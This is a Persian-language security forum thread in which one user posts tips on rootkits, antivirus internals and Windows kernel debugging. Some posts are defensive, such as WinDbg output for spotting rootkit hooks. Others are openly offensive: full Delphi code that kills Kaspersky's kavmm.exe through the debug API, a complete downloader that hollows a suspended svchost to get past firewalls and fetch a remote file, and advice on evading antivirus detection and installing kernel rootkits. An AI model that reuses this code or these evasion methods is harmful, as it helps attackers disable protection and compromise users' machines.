# مهندسی نرم افزار > مباحث مرتبط با مهندسی نرم‌افزار > امنیت در نرم افزار و برنامه نویسی >  TIP

## Inprise

سلام؛

تو این تاپیک نکته ها یا جملات یا تجربه های فنی که میتونن در زمینه توسعه نرم افزارهای امنیتی ، کدهای سطح پائین ، حفاظت از نرم افزار و ...مفید باشن بنویسید . لزومی نداره مطالب ارائه شده در یک راستای به خصوص باشند لیکن باید بشه بین اونها و فضای این بخش ارتباط برقرار کرد .

----------


## Inprise

با تغییر Imagebase برنامه های دلفی به چیزی مانند 13140000 $  (  :evil2:  ) دو کیلو بایت از حجم فایل خروجی کم خواهد شد .

 :wise1:

----------


## Inprise

بین آنتی ویروسهای موجود ، فقط Kaspersky میتونه هر چهار Engine متداول Poly-VX موجود رو بشناسه . اگر قراره به هر دلیل ، کد Polymorphic ای با استفاده از موتورهای موجود منتشر کنید ، از مقادیر معتنابهی XOR برای کنتاکت پیدا نکردن با Kaspersky غفلت نورزید .

 :wise2:

----------


## Inprise

آخرین نگارش ZoneAlarm Security Suite از Hook توابع سری *ZW* جلوگیری میکنه ؛ البته هنوز میتونید دنبال آدرس توابع بگردید اما حتی خوش شانس ترین آدم ، نمیتونه به گرفتن همیشگی جواب امیدوار باشه ؛

----------


## Inprise

Donut اولین PE Infector سازگار با دات نت بود . اگر میخواید در مورد Infection باینریهای دات نت مطالعه کنید ؛ سورس کدش رو پیدا کنید .

----------


## Inprise

اگر ZoneAlarm فایروال دارید ، قطعا" فایلی شبیه به این هم دارید : C:\WINDOWS\Internet Logs\safePrograms.xml ؛ میتونید با استفاده از حماقتهای بکار رفته در این فایل ، کمی Zone Labs رو شرمنده کنید .


 :evil2:

----------


## Inprise

آخرین به روز رسانی McAfee فایروال نتونسته کمک خاصی بکنه و همچنان Process Injection امکان پذیره .

----------


## Inprise

در حال حاضر فقط Kaspersky و Nod32 نسبت به تغییر OEP و برخی از روشهای EP Faking حساس هستند ؛ KAV Rocks ؛  :wise1:

----------


## Inprise

بررسیهای امروزم نشون میده هیچکدام از KAV ، Nod32 ، Zonealarm ، McAfee تابع *ZwLoadDriver* رو Hook نمیکنند ، فلذا بین یک روتکیت متداول کرنل مود ، و نصب بدون دردسر اون روی سیستم ( بدون مزاحمت AV ها ) فقط یک Hexed Packer و یک دبل کلیک روی فایل حاوی Payload فاصله است .

توضیح : تابع ZwLoadDriver  تنها روتینی است که درایورها رو به حافظهء Non-Paged فراخوانی میکنه . AV های موجود امکان بررسی این فضای آدرسی رو ندارند و تا وقتی کنترلی روی این تابع وجود نداشته باشه ، در واقع حفاظ قابل ذکری در مقابل روتکیتها وجود نداره ؛ این ، در واقع ، واقعیتیه که الان وجود داره .

 :sorry:

----------


## Inprise

F-Secure مدتیه برنامه ای بنام *BlackLight* منتشر کرده که علی الظاهر بخوبی از پس برخی از Kernel Mode Rootkit ها بر میاد ، لیکن اولا یک آنتی ویروس نیست ، دوما" از لحاظ پردازش باینری به شدت کند و ضعیف است ( _براحتی با دستکاری EP یکی از روتکیتهای معروف فریب اش دادم_ ) و سوما" فشار زیادی به سیستم تحمیل میکنه و قطعا" کاربرد دوره ای اش قابل توصیه نیست ؛ ولیکن بهر حال به عنوان ابزاری برای لابراتوار قابل احترام و شایسته تحسینه .

SysInternals هم مدتی قبل کد جالبی با عنوان *Rootkit Revealer* منتشر کرده که غیر از رایگان بودن ، مزیت خاصی نسبت به BlackLight نداره ؛ البته ویژگی هاش هم کمتره و سرعت مرور ش کمی بیشتر .

----------


## Inprise

یک دوست در Nod32 میگوید تصمیم جدی برای جلوگیری از Cra@ck نرم افزارها یا لااقل ایجاد امکانات بیشتر برای بازرسی تیم های جرم یابی رایانه ای بین توسعه گران ضد ویروسها به وجود آمده است . احتمالا" اولین قدم جلوگیری از امکان اجرای Loader ها و سپس افزون ترفندهائی برای جلوگیری از Patch شدن نرم افزارها خواهد بود .

بین AV های صاحبنام ، فعلا" ، فقط KAV کاربرد Loader های معروف را میشناسد .

----------


## Inprise

موتور  ِ هیوریستیک ِ Nod32 انصافا" بی نظیره . کد مخربی که با UPX و تغییر دستی هدر و دو سه قسمت دیگهء فایل محافظت شده بود و برای سایر آنتی ویروسها ناشناس بود ، به عنوان یک تهدید بالقوه شناخته و معرفی شد .

 :wise1:

----------


## Inprise

مدتها قبل تروجانی رو دیده بودم که با Patch کردن MsGina ( مدیر دریافت اکانت کاربری ویندوز و انتقال اون به Auth Manager برای احراز هویت و ورود به محیط کاربری ) میتونست اکانت مدیر سیستم رو براحتی دریافت و برای نفوذگر ارسال کنه ؛ با جستجو در MSDN و بررسی همون تروجان تونستم یک DLL ساده بنویسم که بجای Patch کردن کتابخانهء مذکور ( و شاخ شدن برای AV ها ) بتونه فضای آدرسی msgina رو مانیتور و اکانت رو دریافت و لاگ کنه ؛ خیلی وقت از اون روزها گذشته و امروز ، در کمال تعجب موقع بررسی یک سیستم ، به چیز جالبی رسیدم :

<span dir=ltr>> 
0:018!chkimg -d msgina
    75844b98-75844b9c  5 bytes - MSGINA!WlxLoggedOutSAS
        [ 55 8b ec 83 ec:e9 c1 11 2a 8c ]
5 errors : msgina (75844b98-75844b9c)</span>

یک روتکیت Kernel-Mode با استفاده از APC-overwrite دقیقا" همونکار رو انجام داده بود ؛ _یاد ایامی که در گلشن ..._

----------


## Inprise

*Redirection in Action :*

<span dir=ltr>

kd> u 77f42737
ntdll!NtEnumerateKey:
77f42737 jmp globalc!HooksCanUnloadNow+0xc2e(10001da1)
77f4273c mov edx,0x7ffe0300</span>


حالا این 10001da1 که NtEnumerateKey به اون ریدایرکت شده ، چیه ؟

<span dir=ltr>
kd> lm f a 10001da1
start    end        module name
10000000 10029000   globalc 
		C:\WINDOWS\system32\com\sserver\globalc.dll</span>

حالا این کتابخانهء غریبه داره چه میکنه ؟ چی هست اصولا؟

<span dir=ltr>

C:\>cd C:\WINDOWS\system32\com\sserver\

C:\WINDOWS\system32\Com\sserver>dir
10/03/2005  03:59 PM    &lt;DIR>          .
10/03/2005  03:59 PM    &lt;DIR>          ..
05/03/2005  02:43 PM           108,544 comine.exe
10/03/2005  03:59 PM           135,168 globalc.dll
10/03/2005  03:59 PM            32,064 npf.sys
10/03/2005  04:14 PM             1,418 rtkit.log
               4 File(s)        277,194 bytes
               2 Dir(s)   1,518,030,848 bytes free</span>

این در واقع همان روتکیت Kernel-Mode و کتابخانهء فعال اش روی UserLand است ؛ همین دموی کوچک نشان میدهد روتکیتها چطور با آلوده کردن توابع کرنل ، کلیهء فرآیندیهای امنیتی و اعتبارسنجی را مختل میکنند ؛

 :)

----------


## Inprise

یک مثال برای کشف روتکیتهائی که از Hooking استفاده میکنن :
<span dir=ltr>

kd> !chkimg -d ntdll
77f42467-77f4246b  5 bytes - ntdll!ZwCreateFile</span>

و

<span dir=ltr>
kd> u 77f42467
ntdll!ZwCreateFile:
77f42467 e921240608       jmp     7ffa488d</span>


بدون شک روی آدرس 7ffa488d یکی از توابع روتکیت قابل مشاهده خواهد بود ؛ اگر روتکیت موفق شده باشه DLL ای به پروسهء مورد آزمایش Inject کنه ، ممکنه بجای jmp با ردیابی Call هم به Hooker برسیم ؛ با توجه به Tip قبلی ...

 :)

----------


## Inprise

2.6 ها دیگه system call table رو Export نمیکنند ؛ هیچکدام از روتکیتهای موجود که بصورت عمومی در دسترس اند سیستمی که به 2.6 ارتقاء داده شده باشه رو تهدید نمیکنند ؛

 :wise1:

----------


## Inprise

درایورهای سطح کرنل فقط اگر هنگام فرآیند بوت فراخوانی بشن ( یعنی دقیقا" قبل از SMSS.exe ) میتونن یک پروسه User-Mode رو با استفاده از RtlCreateUserProcess بسازند ؛ پس ، برای یک Rootkit Detector کافیه که هنگام فراخوانی اولیه ویندوز ، ارجاعات به RtlCreateUserProcess رو بررسی کنه و در سایر مواقع APC ها رو ؛ مورد دوم رو هر سه روتکیت دتکتور موجود انجام میدن ، اما تا بحال برای مورد اول کد ِ منتشر شده ای ندیدم ؛ از اونجائیکه اغلب روتکیتهای موجود ( که اکثریت قریب به اتفاق روتکیتهای فعال از یک نسخهء دستکاری شدهء اونها استفاده میکنن ) از یک درایور سطح کرنل که هنگام فراخوانی اولیه وارد حافظه میشه استفاده میکنن ، برام بسیار عجیب بود که چرا تا بحال از این Trick ساده برای کشف وجود روتکیت استفاده نشده ؛

----------


## Inprise

*kernel32.dll ImageBase*

Windows 2000 SP4
 79430000H

Windows XP SP1
 77E60000H

*Windows XP SP2
 7C000000H*

----------


## Inprise

برای کسب اطلاع از نسخه و نگارش و سرویسپک و ... ویندوز بجای استفاده از PsGetVersion یا RtlGetVersion یا RtlQueryRegistryValues ( روی Ring0‌ ) میشه از ساختار KUSER_SHARED_DATA که ( روی XP و 2K3 ی خودم لااقل ) همیشه از آدرس 0xFFDFF000 کرنل به بعد موجود است ، استفاده کرد . یک ضرب المثل قدیمی ایتالیائی هست که میگه Kamtar API Callo - More LifeTime Rootkitto 

 :wise1:

----------


## UnREal

Dear Inprise
Hi,
Thanks for the Info.
But why don't you talk about the Onlt Antivirus we have in IRAN

I mean IMEN ANTIVIRUS

I'm really curious to know about the abilities of this AV.

I hope you can provide some information.
Regards,
Unrea.

----------


## Inprise

> Dear Inprise
> Hi,
> Thanks for the Info.
> But why don't you talk about the Onlt Antivirus we have in IRAN
> 
> I mean IMEN ANTIVIRUS
> 
> I'm really curious to know about the abilities of this AV.
> 
> ...


به این نرم افزار و سایر نرم افزارهای معروف ایرانی دسترسی ندارم ؛

-

Remote Debugging مهمترین ویژگی افزوده شده به IDA 4.8 بلا اغراق بی نظیره . سرورهاش از ویندوزهای 32 و 64 بیتی و لینوکس 32 بیت حمایت میکنند . کافیه سرویس مورد نظر رو اجرا کنید تا بتونید همزمان دیباگ و Disassemble روی Target انجام بدید .

 :)

----------


## Inprise

امروز موفق شدم با Virtual Server 2005 SP1 انتشار نهائی Windows XP - 64 Bit رو یک سیستم معمولی 32 بیت نصب و اجرا کنم ؛ خیلی جالبه که ویندوز 64 بیتی هنوز از بعضی از کتابخانه های 32 بیتی استفاده میکنه .

----------


## Inprise

بالاخره تونستم روی Ring3 سرویس KAspersky رو Terminate کنم ؛  :wise1: 

Function DebugKillProcess&#40;ProcessId&#58; dword&#41;&#58; boolean;
var
 pHandle&#58; dword;
 myPID&#58; dword;
 HandlesInfo&#58; PSYSTEM_HANDLE_INFORMATION_EX;
 r&#58; dword;
begin
 Result &#58;= false;
 myPID &#58;= GetCurrentProcessId&#40;&#41;;
 if not EnableDebugPrivilege&#40;&#41; then Exit;
 if DbgUiConnectToDbg&#40;&#41; &lt;> STATUS_SUCCESS then Exit;
 pHandle &#58;= OpenProcessEx&#40;ProcessId&#41;;
 if DbgUiDebugActiveProcess&#40;pHandle&#41; &lt;> STATUS_SUCCESS then Exit;
 HandlesInfo &#58;= GetInfoTable&#40;SystemHandleInformation&#41;;
 if HandlesInfo = nil then Exit;
 for r &#58;= 0 to HandlesInfo^.NumberOfHandles do
  if &#40;HandlesInfo^.Information&#91;r&#93;.Proces  sId = myPID&#41; and
     &#40;HandlesInfo^.Information&#91;r&#93;.ObjectTyp  eNumber = $8&#41; 
     then begin
       CloseHandle&#40;HandlesInfo^.Information&#91;r&#93  ;.Handle&#41;;
       Result &#58;= true;
       break;
     end;
 VirtualFree&#40;HandlesInfo, 0, MEM_RELEASE&#41;;
end;

DebugKillProcess&#40;GetProcessId&#40;'kavmm.exe'&  #41;&#41;;

با اینکه بقیه آنتی ویروسها ارزش صرف چنین وقت ی رو ندارند لیکن روی F-Secure و MCAfee هم جواب داد ؛ احتمالا" بر و بچه های KAV باید یک دوجین API دیگه رو هم به لیست Interceptor شون اضافه کنند ، چون لغو عملکرد ExitProcess و ZwTerminateProcess به تنهائی مشکلی رو حل نمیکنه .

 :wise2:

----------


## Inprise

این کد رو با اسمبلی/دلفی مدتها قبل برای استفاده های شخصی ام نوشتم ؛ ایده اش هم مال خودم نیست البته . یکی از رفقا یک چیزی مثل همین میخواست من هم همینجا منتشرش میکنم شاید به درد بقیه هم بخوره . یک Web Downloader ساده است ، با ذکر این نکته که توی فضای آدرسی Svchost زندگی میکنه و بعضی از فایروالهای نسبتا" احمق رو فریب میده ؛ توضیح بیشتری نمیخواد . بهتره بجای Copy/Paste از ایده و روش استفاده کنید  :wise2: 

program inpywebload;

uses
  Windows, WinSock;

&#123;$IMAGEBASE $13140000&#125;

Function MyPos&#40;Substr, Str&#58; PChar&#41;&#58; dword; stdcall;
asm
 mov eax, Substr
 mov edx, str
 test eax, eax
 je @noWork
 test edx, edx
 je @stringEmpty
 push ebx
 push esi
 push edi
 mov esi, eax
 mov edi, edx
 push eax
 push edx
 call lstrlen
 mov ecx, eax
 pop eax
 push edi
 push eax
 push eax
 call lstrlen
 mov edx, eax
 pop eax
 dec edx
 js @fail
 mov al, &#91;esi&#93;
 inc esi
 sub ecx, edx
 jle @fail
 
@loop&#58;
 repne scasb
 jne @fail
 mov ebx, ecx
 push esi
 push edi
 mov ecx, edx
 repe cmpsb
 pop edi
 pop esi
 je @found
 mov ecx, ebx
 jmp @loop

@fail&#58;
 pop edx
 xor eax, eax
 jmp @exit

@stringEmpty&#58;
 xor eax, eax
 jmp @noWork

@found&#58;
 pop edx
 mov eax, edi
 sub eax, edx

@exit&#58;
 pop edi
 pop esi
 pop ebx
 
@noWork&#58;
end;

Function MyCopy&#40;S&#58;PChar; Index, Count&#58; Dword&#41;&#58; PChar; stdcall;
asm
 mov eax, Count
 inc eax
 push eax
 push LPTR
 call LocalAlloc
 mov edi, eax
 mov ecx, Count
 mov esi, S
 add esi, Index
 dec esi
 rep movsb
end;

procedure MyCopyMemory&#40;Destination&#58; Pointer; Source&#58; Pointer; Length&#58; DWORD&#41;;
asm
 push ecx
 push esi
 push edi
 mov esi, Source
 mov edi, Destination
 mov ecx, Length
 rep movsb
 pop edi
 pop esi
 pop ecx
end;


Function DownloadFile&#40;Address&#58; PChar; var ReturnSize&#58; dword&#41;&#58; pointer;
var
  Buffer&#58; pointer;
  BufferLength&#58; dword;
  BufferUsed&#58; dword;
  Bytes&#58; integer;
  Header&#58; PChar;
  Site&#58; PChar;
  URL&#58; PChar;
  FSocket&#58; integer;
  SockAddrIn&#58; TSockAddrIn;
  HostEnt&#58; PHostEnt;
  Str&#58; PChar;
  WSAData&#58; TWSAData;
  hHeap&#58; dword;
begin
  Result &#58;= nil;
  hHeap &#58;= GetProcessHeap&#40;&#41;;
  WSAStartup&#40;257, WSAData&#41;;
  Site &#58;= MyCopy&#40;Address, 1, MyPos&#40;'/', Address&#41; - 1&#41;;
  URL  &#58;= MyCopy&#40;Address, MyPos&#40;'/', Address&#41;, lstrlen&#40;Address&#41; - MyPos&#40;'/', Address&#41; + 1&#41;;
  Buffer &#58;= HeapAlloc&#40;hHeap, 0, 1024&#41;;
  try
    BufferLength &#58;= 1024;
    BufferUsed &#58;= 0;
    FSocket &#58;= socket&#40;PF_INET, SOCK_STREAM, IPPROTO_TCP&#41;;
    SockAddrIn.sin_family &#58;= AF_INET;
    SockAddrIn.sin_port &#58;= htons&#40;80&#41;;
    SockAddrIn.sin_addr.s_addr &#58;= inet_addr&#40;Site&#41;;
    if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
       begin
        HostEnt &#58;= gethostbyname&#40;Site&#41;;
        if HostEnt = nil then Exit;
        SockAddrIn.sin_addr.s_addr &#58;= Longint&#40;PLongint&#40;HostEnt^.h_addr_list^&#41  ;^&#41;;
       end;
    if Connect&#40;FSocket, SockAddrIn, SizeOf&#40;SockAddrIn&#41;&#41; = -1 then Exit;
    Str &#58;= HeapAlloc&#40;hHeap, 0, 1024&#41;;
    lstrcpy&#40;Str, 'GET '&#41;;
    lstrcat&#40;Str, URL&#41;;
    lstrcat&#40;Str, ' HTTP/1.0'#10#13'Host&#58; '&#41;;
    lstrcat&#40;Str, Site&#41;;
    lstrcat&#40;Str, #13#10'Connection&#58; close'#13#10#13#10&#41;;
    send&#40;FSocket, Str^, lstrlen&#40;Str&#41;, 0&#41;;
    HeapFree&#40;hHeap, 0, Str&#41;;
    repeat
      if BufferLength - BufferUsed &lt; 1024 then
        begin
         Inc&#40;BufferLength, 1024&#41;;
         Buffer &#58;= HeapReAlloc&#40;hHeap, 0, Buffer, BufferLength&#41;;
        end;
      Bytes &#58;= recv&#40;FSocket, pointer&#40;dword&#40;Buffer&#41; + BufferUsed&#41;^, 1024, 0&#41;;
      if Bytes > 0 then Inc&#40;BufferUsed, Bytes&#41;;
    until &#40;Bytes = 0&#41; or &#40;Bytes = SOCKET_ERROR&#41;;
    Header &#58;= MyCopy&#40;Buffer, 1, MyPos&#40;#13#10#13#10, Buffer&#41; + 3&#41;;
    ReturnSize &#58;= BufferUsed - lstrlen&#40;header&#41;;
    Result &#58;= VirtualAlloc&#40;nil, ReturnSize, MEM_COMMIT or
                           MEM_RESERVE, PAGE_EXECUTE_READWRITE&#41;;
    if Result = nil then Exit;
    MyCopyMemory&#40;Result, pointer&#40;dword&#40;Buffer&#41; + lstrlen&#40;header&#41;&#41;, ReturnSize&#41;;
  finally
    HeapFree&#40;hHeap, 0, Buffer&#41;;
  end;
end;

Procedure Download&#40;&#41;; stdcall;
const
 URL &#58; PChar = 'barnamenevis.org/mysoul.mp3';
var
 Buff&#58; pointer;
 Size&#58; dword;
 Bytes&#58; dword;
 dFile&#58; dword;
begin
 LoadLibrary&#40;'wsock32.dll'&#41;;
 Buff &#58;= DownloadFile&#40;URL, Size&#41;;
 dFile &#58;= CreateFile&#40;'c&#58;\inpyinvoice.mp3', GENERIC_WRITE, 0, nil, CREATE_NEW, 0, 0&#41;;
 WriteFile&#40;dFile, Buff^, Size, Bytes, nil&#41;;
 CloseHandle&#40;dFile&#41;;
 ExitProcess&#40;0&#41;;
end;


var
 St&#58; TStartupInfo;
 Pr&#58; TProcessInformation;
 InjectSize&#58; dword;
 Code&#58; pointer;
 Injected&#58; pointer;
 BytesWritten&#58; dword;
 Context&#58; _CONTEXT;
 
begin
 ZeroMemory&#40;@St, SizeOf&#40;TStartupInfo&#41;&#41;;
 St.cb &#58;= SizeOf&#40;TStartupInfo&#41;;
 St.wShowWindow &#58;= SW_SHOW;
 CreateProcess&#40;nil, 'svchost.exe', nil, nil, false,
               CREATE_SUSPENDED, nil, nil, St, Pr&#41;;
 Code &#58;= pointer&#40;GetModuleHandle&#40;nil&#41;&#41;;
 InjectSize &#58;= PImageOptionalHeader&#40;pointer&#40;integer&#40;C  ode&#41; +
                                    PImageDosHeader&#40;Code&#41;._lfanew +
                                    SizeOf&#40;dword&#41; +
                                    SizeOf&#40;TImageFileHeader&#41;&#41;&#41;.SizeOfI  mage;
 Injected &#58;= VirtualAllocEx&#40;Pr.hProcess, Code, InjectSize, MEM_COMMIT or
                            MEM_RESERVE, PAGE_EXECUTE_READWRITE&#41;;
 WriteProcessMemory&#40;Pr.hProcess, Injected, Code, InjectSize, BytesWritten&#41;;
  Context.ContextFlags &#58;= CONTEXT_FULL;
 GetThreadContext&#40;Pr.hThread, Context&#41;;
 Context.Eip &#58;= dword&#40;@Download&#41;;
 SetThreadContext&#40;Pr.hThread, Context&#41;;
 ResumeThread&#40;Pr.hThread&#41;;
end.

----------


## Inprise

OEP برنامه های نوشته شده با دلفی عموما" یک چیزی ست تو این مایه :

&#58;0041A1FC 55
&#58;0041A1FD 8BEC



( تغییر دادنش بدون دستکاری کد واقعا" ساده است ؛ اما موضوع این پست نیست ) اما چرا ؟ اگر به یونیت SysInit که وظایف مقدماتی برپائی محیط اجرای برنامه رو بر عهده داره نگاه کنید چند تابع جالب خواهید دید :

procedure _ InitLib; 
procedure _ InitExe;

و اگر به پیاده سازی روتین _InitExe نگاه کنید :


<span dir=ltr>
procedure _InitExe;
asm

*PUSH EAX
PUSH 0*
CALL GetModuleHandle
MOV EDX,offset Module
PUSH EDX
MOV HInstance,EAX
MOV [EDX].TLibModule.Instance,EAX
MOV [EDX].TLibModule.CodeInstance,0
MOV [EDX].TLibModule.DataInstance,0
CALL InitializeModule
POP EDX
POP EAX

CALL _StartExe
end;</span>

فکر میکنم حالا همه میتونن با تغییر SysInit به چیزی که میخوان ( OEP های عجیب و غریب و البته Fake‌)  برسن  :wise1:

----------


## مهدی کرامتی

> فکر میکنم حالا همه میتونن با تغییر SysInit به چیزی که میخوان ( OEP های عجیب و غریب و البته Fake‌) برسن


ممکنه یک مثال عملی بزنی؟

----------


## Inprise

دو تا NOP به روتین مذکور یا دو سه روتین ی که چنین وظایفی دارند اضافه کن و دوباره RTL رو کامپایل کن 





برای نیل به مقصود باید به سورس کامل VCL دسترسی داشته باشی ؛ ایضا" این روند وقتگیر و کند است و ممکنه در صورت خطا یا دستکاری های قبلی یا استفاده از ابزارهای ثالثی که تغییرات به خصوصی ایجاد کرده باشند با عدم موفقیت همراه باشه ؛ در مجموع روشهای ساده تری هم هست که بعدا" در موردشون مینویسم

----------


## Inprise

این روزها تا فرصت ی پیدا بشه - خصوصا موقع نهار و شام - مشغول خواندن کتاب Code Optimization : Effective Memory Usage از کریس کسپراسکای هستم ؛ کتاب قبلی ش یعنی Hacker Disassembler هم انصافا" بی نظیر بود و قاعدتا" کتاب بعدی ش یعنی Debugger Revealed هم همینطور خواهد بود . کسانی که به این مباحث علاقه دارن قطعا" از مطالعه شون پشیمان نخواهند شد  :wise2: 



<span dir=ltr>
A guide to optimizing programs on the PC and Unix platforms, this book covers the expediency of optimization and the methods to increase the speed of programs via optimization. Discussed are typical mistakes made by programmers that lessen the performance of the system along with easily implemented solutions. Detailed descriptions of the devices and mechanism of interaction of the computer components, effective ways of programming, and a technique for optimizing programs, are provided. Programmers will also learn how to effectively implement programming methods in a high-level language that is usually done in assembler with particular attention given to the RAM subsystem. The working principles of the RAM and the way in which it is coupled with the processor as well as a description of programming methods that allows programmers to overclock the memory to reach maximum performance are included.</span>

----------


## jirjirakk

آف تاپیک :   :flower:  تشکر :kiss:

----------


## Inprise

<span dir=ltr>kd> dt nt!_HANDLE_TABLE
   +0x000 TableCode        : Uint4B
   +0x004 QuotaProcess     : Ptr32 _EPROCESS
   +0x008 UniqueProcessId  : Ptr32 Void
   +0x00c HandleTableLock  : [4] _EX_PUSH_LOCK
   +0x01c HandleTableList  : _LIST_ENTRY
   +0x024 HandleContentionEvent : _EX_PUSH_LOCK
   +0x028 DebugInfo        : Ptr32 _HANDLE_TRACE_DEBUG_INFO
   +0x02c ExtraInfoPages   : Int4B
   +0x030 FirstFree        : Uint4B
   +0x034 LastFree         : Uint4B
   +0x038 NextHandleNeedingPool : Uint4B
   +0x03c HandleCount      : Int4B
   +0x040 Flags            : Uint4B
   +0x040 StrictFIFO       : Pos 0, 1 Bit</span>

با بررسی تک تک رکوردهای _LIST_ENTRY تمام پروسه های فعال سیستم ، اعم از پنهان و آشکار قابل مشاهده هستند ؛ حداقل هیچگدام از روتکیتهائی که شخصا" تست شون کردم به این ویژگی دست نمیزنند . به نظرم میرسه دور نیست زمانی که راه حلهای امنیتی نسل بعدی آنتی ویروسها به دیباگر و Disassembler های داخلی برای انجام وظایفشون مجهز بشن ؛ Funny‌ ؛

 :wink:

----------


## Inprise

امروز هنگام اعمال تغییرات متعدد روی کد یکی از برنامه هام ، و به محض فشردن کلید F5 با پیام خطای ویژوال استودیو مواجه شدم که مدعی بود خطای Sharing Violation باعث میشه نتونم بصورت خودکار فایلم رو ذخیره و کامپایل کنم . خوب من حداقل برای نیمی از روز در حال کار کردن روی این کد و ذخیره و کامپایل اون بودم و برنامه دیگری رو اجرا نکرده بودم . بعد از یک بررسی سریع به لطفا Process Explorer متوجه شدم دو هندل فعال از فایلم توسط دو سرویس جستجوی محلی روی دیسک ( گوگل دسکتاپ سرچ و ام اس ان لوکال ایندکس ) وجود داره و نرم افزارهای احمق فوق الذکر پس از توجه به تغییرات مداوم روی یک فایل به ری-ایندکس اون مبادرت ورزیدند و طی این مدت ، بخاطر نوع فراخوانی فایل و دریافت هندل ، امکان تغییر و اعمال تغییر در اون فایل وجود نداشت ...

 :sorry: 

قبل از هر چیز دو عدد فحش به توسعه گران کند ذهن هر دو برنامه تقدیم داشته ، بر آن شدم که سیستم رو از وجود منحوس این دو باگ تطهیر کنم ؛ لیکن قبل از اون به نظرم رسید ، به نحوهء فرخوانی فایل و ری-ایندکس گوگل دسکتاپ سرچ نگاهی بندازم و در کمال ناباوری یک فرمت استرینگ باگ رو زیارت کردم که Exploitation اون "ممکنه" بتونه منجر به افزایش مجوز دسترسی تا حد کاربر اجرا کنندهء سرویس گوگل سرچ بشه ، و البته ممکنه اینطور نباشه . نمیدونم در مورد این مورد کار بیشتری خواهم کرد یا خیر ، لیکن میدونم گرفتن پول در مقابل تحویل دادن این قطعات آشغال نرم افزاری به مدیران تیمهای نرم افزاری ، فقط میتونه از پس یک سری آدم اصل ِ دودر و بیسواد بر بیاد .

 :sorry:

----------


## Inprise

با یک بررسی آماری روی آنتی ویروسهائی که کاربردهای گسترده و بعضا" سازمانی دارن به نتایج جالبی رسیدم :

- نورتون : بیش از سه نقطه ضعف در شناسائی انواع فایلها از طریق بررسی هدر فایل
آخرین مورد : Heap Overrun هنگام بررسی هدر فایلهای فشرده شده با UPX
-مک آفی : بیش از پنج نقطه ضعف در شناسائی انواع فایلها از طریق ...
آخرین مورد : Stack Overrun هنگام بررسی نام ثبت شده از فایل در هدر
- ترندمیکرو : بیش از سه نقطه ضعف در شناسائی انواع فایلها...
آخرین مورد : یک Kernel Heap Overrun دقیقا" مانند نسخهء UserMode نقطه ضعف مک آفی
-اف سکیور : دو نقطه ضعف در شناسائی انواع فایلها از طریق ...
آخرین مورد : Heap Overrun هنگام بررسی طول نام فایل
و ...

گزارش مفصلی شد ؛ نتیجه اش تجاریه و قابل انتشار نیست لیکن درک ارتباط معنی دار این داده ها چنان دشوار نیست ؛ یه ضرب المثل قدیمی ایتالیائی میگه : آدمها اغلب مثل هم اشتباه میکنن ؛

 :wise2:

----------


## Inprise

اسلایدهای جالبی در مورد روشهای به روز رسانی آنتی ویروسها 

-

بعد از یک بررسی ساده و آزمایش مک آفی فهمیدم مک آفی هم نسبت به Shatter Attack آسیب پذیر است و اگر این نقیصه رو در کنار ارسال مستقیم اسکریپتهای آپدیتش به شل بگذاریم ، میتونیم با یک اکانت کاربری سطح پائین که به یکی از پنجره های اصلی مک آفی دسترسی دارد ، درست وقتی عمل آپدیت در حال انجامه ، اسکریپت آلودهء خودمون رو به شل بفرستیم .

توضیح یک : Shatter Attack محصول نقص معماری ویندوز است . تو با یک اکانت کاربری سطح پائین حق داری برای کنترل رابط کاربری برنامه ای که با مجوز بالاتری اجرا میشه پیام ( Windows Message‌ ) ارسال کنی .

ارسال مستقیم و Plain Text اسکریپت آپدیت مک آفی به شل فوق العاده احمقانه به نظر میرسه ؛ یعنی چه کسانی این آنتی ویروس رو توسعه میدن ؟

توضیح دو : روش KAV جالب بود .

 :)

----------


## Inprise

http://www.star-force.com/protection.phtml?c=102

----------


## Inprise

شاید این بتونه جمع بندی کاملی باشه که :

- تا وقتی از توابع سطح کاربری مانند ReadFile استفاده میکنی حتی یک روتکیت ساده سطح کاربر با API Hooking و Redirection اشاره گر میتونه خودش رو پنهان کنه

- تا وقتی از توابع سطح کرنلی مانند ZwReadFile استفاده میکنی یک روتیکت سطح کرنل نه چندان پیشرفته میتونه با Kernel Hooking یا بررسی Kernel Object های فراخوانده شده به حافظه و دستکاری اونها خودش رو مخفی کنه

- تا وقتی از IRP و توابع درایوهای سطح پائین مانند درایور دیسک سخت استفاده میکنی روتیکهای نسبتا" خوب سطح کرنل میتونن با IRP Hooking/Filtering درخواستها رو مشاهده و در صورت تمایل محتویات اونها رو تغییر بدن و باز هم مخفی بمونن

- و ...احتمالا" آخرین راهی که برای شناسائی روتیکتهای خفن و حرفه ای باقی میمونه ، ارتباط مستقیم با سخت افزار است ، مثلا" اتصال مستقیم به کنترلر دیسک سخت ؛ و این یعنی ارسال مستقیم دستورات زبان ماشین به کنترلر و پردازش پاسخها ، ایضا" به معنای لزوم شناسائی کامل عملکرد فایل سیستم و ... ؛

هوشمندی آنتی ویروسی مانند KAV تا جائی قابل تحسینه که میتونه انواع فراخوانی های سطح کاربر و سطح کرنل ( محدود به NDTLL و NTOSKRNL ) توابع حساسی مانند OpenProcess, OpenSCManager ZwSetSystemInformation و امثالهم رو شناسائی و عملکردشون رو زیر نظر بگیره ، اما در مقابل استفاده از نسخه های مجاز توابعی از این دست روی حافظه که توسط برنامه های مجاز ، حتی خود آنتی ویروس ! فراخوانی شده اند چه ؟ در مورد استفاده از موتورهای پیچیده متامورفیک چه ؟ و ...

- یه ضرب المثل قدیمی ایتالیائی میگه دن خوآنو زرو ایتو مالیانو ؛ یعنی وقتی آدمها اغلب خودشون اقدام به خودکشی میکنند ، چرا برای کشتن اونها یه قاتل حرفه ای استخدام کنیم ؟

eWeek چندی پیش طی گزارشی که از چند موسسه امنیتی جمع آوری شده بود اعلام کرد ، بیش از نیمی از کاربران اینترنت از راه حلهای امنیتی مانند فایروال و ضد ویروس و ... استفاده نمیکنند ، بیش از شصت درصد کاربران چیزهای زیادی دربارهء فرهنگ به روز نگهداری نرم افزارها نمیدونن و ... ، فقط کمی بیشتر از سی درصد کاربران ویندوز از اتوآپدیت استفاده میکنند ...

 :wise2:

----------


## Inprise

